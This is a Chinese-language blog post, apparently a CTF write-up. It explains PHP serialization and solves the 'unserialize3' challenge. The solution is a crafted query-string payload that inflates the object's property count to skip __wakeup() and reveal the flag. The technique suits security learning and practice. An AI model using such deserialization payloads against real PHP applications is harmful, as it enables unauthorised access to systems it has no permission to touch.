記錄一次CTF解題PHP反序列化

smileleooo發表於2024-04-18

攻防世界的一個php反序列化題 unserialize3

PHP反序列化

序列化通俗來講就是將物件轉化為可以傳輸的字串,反序列化就是把那串字串再變回物件。

<?php
class chybate {
    var $test = '123456';
}
$cless1 = new chybate;

// 序列化
$cless1_ser = serialize($cless1);
echo $cless1_ser . '\n';

// 反序列化
$cless1_user = unserialize($cless1_ser);
print_r($cless1_user);
?>
O:7:"chybate":1:{s:4:"test";s:6:"123456";}
chybate Object
(
    [test] => 123456
)

這裡的O就是object物件的意思,數字7代表著物件的函式名長度為7,然後就是物件名"chybate",然後這個數字1表示物件裡有一個變數,大括號裡的s代表的是string型別,如果是一個i是int型,4表示變數名的長度,後面接著就是變數的值。

題目分析

給出了一個類xctf,其中包含一個變數flag和一個魔術函式 __wakeup(),用code去接收一個序列化後的字串。

image

分析給出的原始碼,魔法函式 __wakeup() 是一個突破點,它在反序列化的過程中會被呼叫。

serialize() 和 unserialize() 函式對魔術方法 __wakeup() 的處理:

serialize()函式序列化物件時,如果物件中定義了__sleep()方法,將會呼叫該方法來確定哪些屬性需要被序列化。如果物件沒有定義__sleep()方法,將會序列化物件的所有屬性。

unserialize()函式反序列化物件時,如果物件中定義了__wakeup()方法,將會在物件反序列化後呼叫該方法。__wakeup()方法用於初始化反序列化後的物件狀態,通常用於重新建立物件和其相關資源之間的聯絡。

__wakeup() 的一個繞過點:一個物件被序列化後,如果它的屬性被修改,那麼在反序列化的過程中則不會執行__wakeup()函式。

解題

解題思路就是修改序列化後中的屬性來繞過 __wakeup 。

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$c = new xctf;
print(serialize($c));
?>

xctf序列化:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

當被反序列化的字串其中對應的物件的屬性個數發生變化時,會導致反序列化失敗而同時使得__wakeup()函式失效。

構造payload: /?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";},這裡將變數的個數改為2,屬性個數發生變化,這樣__wakeup()在初始化反序列化後的物件狀態時就就會失效。

image

成功get flag!

總結

反序列化漏洞原理,反序列化該物件時觸發魔術方法從而執行命令或程式碼。

PHP序列化需注意以下幾點:

  • 序列化只序列屬性,不序列方法。

  • 能控制的只有類的屬性,攻擊就是尋找合適能被控制的屬性,利用作用域本身存在的方法,基於屬性發動攻擊。

相關文章